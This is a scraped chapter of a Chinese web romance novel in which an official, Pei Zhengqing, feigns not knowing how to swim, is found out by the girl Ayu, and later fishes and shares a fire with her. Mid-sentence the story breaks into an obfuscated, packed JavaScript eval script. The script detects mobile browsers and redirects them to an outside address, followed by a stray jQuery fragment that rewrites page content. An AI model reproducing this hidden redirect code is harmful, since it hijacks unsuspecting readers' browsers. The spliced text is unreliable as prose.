裴正卿脚步一顿,背过去的脸上,眉眼得意,嘴角勾起一抹意料之中的弧度,哪里还有方才失落的神色。 “不过,不保证能将你教会。”身后的阿渔补充道。 裴正卿敛下神色,转过身,拱手作揖行礼:“多谢阿渔姑娘。” 华丽花哨的暂且放在一旁,阿渔决定从最简单的教起。 身体俯卧在水面,双腿自然并拢,脚稍内旋交替划水,手臂规律地上下压水,控制身体不下沉的同时,放松屈肘,由上臂带动提拉前臂和手出水面,这个泅水的姿势还有一个更加通俗易懂的名字。 ——狗刨。 虽然名字不好听、游得慢、也不太雅观,但却是最简单不过的方式,真真是连垂髫稚子都会,然而裴正卿老大一个人学了半晌竟然毫无长进。 “不对不对!手臂不是你那样划的!” “不是用手腕,是用手臂!” “还有腿也要蹬水——” “......” 阿渔站在一旁说得口干舌燥,见他仍如搁了浅活鱼瞎扑腾,恨不能亲自掰着他的手脚教他如何划水。 好歹也是行伍世家出身,怎的长手长脚的这般不协调,莫不是在故意逗她罢? 疑心一起,阿渔再看去时,只觉哪哪都别扭。明明笨手笨脚的,四肢不协动作颇为滑稽,却每每都能“恰巧”避开浪潮,不让海水淹没他的口鼻。 若说后者是本能,前者定然是装模作样! ——这人分明会泅水! 34. 坏东西 虽然裴正卿装得还挺像那么回事儿,到底瞒不过阿渔的一双慧眼。 好哇,没想到他看着方正温良,实则还有满肚子坏水儿,竟拿她打起趣来,亏她方才当了真! 阿渔心中暗恼,忽眼珠一转,灵机一动,计上心来。 “哗啦哗啦——” “咕噜咕噜——” 裴正卿装得有模有样,极力展现初学者的笨拙,为了表现得逼真还故意呛了两口水,估摸着差不多了,才装模作样,煞有其事地往前游了几尺。 “阿渔姑娘,我方才游得可对?” 须臾,无人应答。 裴正卿猛地转过身,傍晚静悄悄的海面上,除了他哪里还有其他人? 他心中陡然升起一阵慌乱,明知阿渔极擅泅水,且周围的海水并不深,不会将人卷了去,但他还是不由得担忧,万一呢? “......阿渔姑娘?莫要同我玩闹了,快些出来罢。” “......阿渔?” “阿渔——!” 没有丝毫回应,裴正卿彻底慌了神,一个猛子扎进水里,有力的臂膀快速地划动,矫健的身形如鲛鱼般流畅优雅,眨眼间便游出数尺,哪里还有方才手脚无措的笨拙模样儿。 “噗——咳咳——” 潜没屏息藏在水下的阿渔见裴正卿果真露出马脚,不由得咧嘴一笑,不防海水突然灌进口中,连忙松开鼻子钻出水面,急促地大口喘息。 裴正卿正心急如焚,倏然看见心心念念的人儿突然冒出水面,心中陡然松了一口气,看她咳得厉害,连忙游到她身旁,拍拍背关切道:“可是有何不适?” 阿渔捋着胸口平复下来,摆摆手:“不妨事,只是不小心呛了两口水,没什么大碍。” 裴正卿见她确实无恙,终于松了口气:“那便好。”而后略有些哀怨地看着她,“你这个坏东西,方才突然消失不见,差点急死我了。” 阿渔抬首得意地冲他咧嘴一笑,鼻音囔囔道:“你才是坏东西,分明会泅水,偏装不会,连小姑娘都骗,老不羞!略略略!” 谎言被戳破,裴正卿不觉丝毫意外,事实上,现下回想起来,他方才的举动委实有些做作,难怪小姑娘会看出来。 他摸了摸鼻子,温润的眸底闪过一丝难为情,轻咳一声,故意瞪着眼睛,一本正经道:“好哇,竟然嫌我老,那我这个老东西定要给你这个没大没小的黄毛丫头一点厉害瞧瞧。”说罢,便伸手作势要来捉她。 阿渔尖叫一声,踏着水往岸上逃去,一边跑一边咯咯笑着大声求饶:“救命呐!强抢民女呀!官老爷饶命!” ...... 玩闹了一会儿,天色暗了下来。 沉沉的蔚蓝一寸寸侵蚀橙红色的霞光,海面上潮水开始退去,两人开始琢磨起晚膳。 俗话说,靠山吃山,靠水吃水,那么既然眼下身处海边,自然要吃些海里的吃食,譬如海藻、譬如贝类、譬如海鱼。 海藻易得,贝类待潮水退去,浅滩俯拾皆是。至于海鱼,因着鱼儿避光,白日间或许难寻,眼下天光渐暗,或可在浅滩捕到。 网兜、钓钩、鱼饵等一应用具,先前裴正卿早已令人送来。 阿渔还在滩涂泥沙中挖了些海蚯蚓,放进网兜,穿在钓钩上,走到齐腰的海水中,将网兜撒了出去,用一根麻绳一端系在网兜上,另一端用浅滩的石块压着,防止网兜被浪卷进海里,竹篮打水一场空。 这一切阿渔做的得心应手,裴正卿却有些将信将疑:“这样做当真能捕到海鱼?” “自然!”阿渔笃定道,“譬如鳊鱼、黄鱼、海鲈鱼......海鱼肉质紧实,味道鲜美,最适合用来做鱼生不过。” 裴正卿眉眼浅笑:“可是鱼鲙?京城有间酒肆以擅做鱼生闻名,楼内大厨能将鱼片切得薄如蝉翼,细如发丝,轻如羽毛,我曾吃过一次,确实别有一番滋味。” 阿渔不以为然:“京城里做鱼鲙应当用的是鲫鱼、鲢鱼、草鱼之类的湖鱼,食腐而生,难免有土腥味,故而做成鱼鲙时须切得极薄。而海鱼却不尽然,食海藻与浮游,并无腥膻之味,任随......” 阿渔话还没说完,一旁的麻绳动了动,眼看就要挣脱石块的束缚,裴正卿当即眼疾手快上前一把抓住。阿渔想了想,时辰应当差不多了,便示意他将网兜拖回来。 不消一会儿,墨绿色的网兜便被拉了上来,只见其中收获颇丰,不仅有好几尾活蹦乱跳的大小鱼儿,还有一条深褐色,身体细长,背圆尾尖的游体活物。 裴正卿大骇,下意识连忙将阿渔护在身后:“海、海蛇!” 阿渔亦是一惊,跳起脚害怕地躲在男人身后,捂着眼睛不敢看。 裴正卿一手将阿渔护在身后,一只手小心翼翼地拽住网兜的一角拖远。 海蛇常常出现在浅水区,尤其是鱼群聚集的地方,海蛇往往更易出现。阿渔自幼生在海边,不是没有见过海蛇,只是她到底是个女儿家,便是见过也不能不害怕。 “好了,别怕,我已经将它弄远了,待会那一把火把过来将它烧掉便无事了,只是眼下天色渐暗,海里不知多危险,你万不可再下水。”裴正卿叮嘱道。 阿渔迟疑了一瞬,没有像以往那样依言应下,想起一开始瞥见的网兜里的东西,不由得有了别的猜测,壮着胆子从裴正卿身后走了出来,上前两步。 裴正卿见状拉住她:“危险,莫要靠近。” “等等。”阿渔按下他的手,朝着网兜定睛瞧了瞧,而后肩膀一松,扑哧一笑,“哪里是什么海蛇,那是海泥鳅!” 裴正卿一愣:“怎么会......?” 然而,待他走近定睛细看,只见那游体活物通体光滑无鳞,且口部有须,虽然不知是否是阿渔口中的海泥鳅,但确不是海蛇无疑。 闹了半天,原来是因为天色不清以至看走了眼,裴正卿讪讪一笑。 这下小姑娘定然愈发嘲笑他了。 果然,只见阿渔捂嘴窃笑,眉眼间丝丝得意,打趣道:“百无一用,是书生!” 这妮子! 裴正卿又爱又恨地咬咬牙,恨不能将她抱在怀里狠狠蹂躏一番,让她晓得挑衅男人尊严的厉害。然而,看到她难得笑得这般开心,不是宅院里一板一眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481281|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅笑,而是发自肺腑的开怀,裴正卿的心陡然软得一塌糊涂。 知书达礼却时刻小心翼翼的官家罪眷是她,今日这般泅水、捕鱼自由地像个野孩子也是她,这样截然相反的两种个性奇异又融洽地出现在她的身上,让他愈发欲罢不能。 炽热的火焰越烧越旺,再继续下去,于人于己都没有好下场,裴正卿清醒地认识到这一点,却自私地放任自己越陷越深。 阿渔年少懵懵懂懂,而他已年过而立,不可再自欺欺人佯装无事,明知前面是万丈深渊,还要带着她一起跌下去。既然给不了她希望,就应当及时放手,裴正卿想。 他走到一旁捡起一根鱼竿,拿上一篓鱼饵,站起身想了想,又用火石将柴火堆点着,而后独自转身朝着远处走去。 阿渔不解,追上前两步问道:“大人,你要去何处?” 裴正卿脚步一顿,转过身面色温和如常:“不去何处,只是我一个大男人,断没有让女人养着的道理,我去堤上钓几尾鱼,过会儿就回来,你若是饿了,就先给自己烤点东西垫垫肚子,不必等我。” 阿渔懵懵懂懂地“哦”了一声,觉得眼前的裴大人有些奇怪,却说不上具体何处奇怪。 她只能安慰自个儿平素在府里大人为主,她为奴受到他的庇佑,这次外出,不管是骑马住店也都是大人一手张罗,偏偏今日不论是泅水还是捕鱼,他却屡屡吃瘪,许是觉得自己毫无用处,想要找回些颜面......罢? 待裴正卿钓完鱼回来,天色只能见到一抹弯弯的橘红印在天边,海水变得澎湃而黑沉, 而在一片黑茫茫的夜色中,唯有一处燃着火堆,噼里啪啦的火光中映衬着一张又清又媚的娇靥,水汪汪的杏眸在看到提着鱼篓和钓竿回来的男人时霎时间绽放出漫天的星光。 只一眼,便让裴正卿好不容易筑起的心墙瞬间土崩瓦解。 他缓缓停下脚步,幽深的眸底在漆黑的夜色中神色未明。 尚未行至穷处,怎知不可? 人至中年方才寻到那个能牵动他心肠的人,怎能放手!怎舍得放手! 阿渔拿着披风迎了上去,接过男人手中的鱼篓:“大人你可算回来了,我方才在滩涂上捡起不少贝类,放入海藻,炖了鲜汤,马上便好了,大人快坐。” 裴正卿裹上披风,见海风大作将阿渔的云鬓吹得形容散乱,悄然抬起一只胳膊挡住风,掩着她走到火堆旁坐下。 兵卒送来的营帐一早便已经扎了起来,马儿拴在坝上的林子里,出行带的一应物什都从马背上挪到帐篷里,阿渔取出一条粗棉帕子递给裴正卿:“海边潮湿,夜晚更深露重,一个不慎便易感染风寒,大人虽平日身体强健,也万不可不将自个儿的身子当回事,快用棉帕擦擦身上的水汽。” “多谢,是我疏忽了。”裴正卿接过棉帕擦拭湿发。 阿渔一边添着火柴,一边漫不经心地随口道:“大人莫嫌我啰嗦,现下虽是仲夏,夜晚还是寒得很。我们女子倒是不妨事,不过男人啊,到底还是要注意些,尤其下了水。” 裴正卿擦发的手一顿:“......还有这种说法?”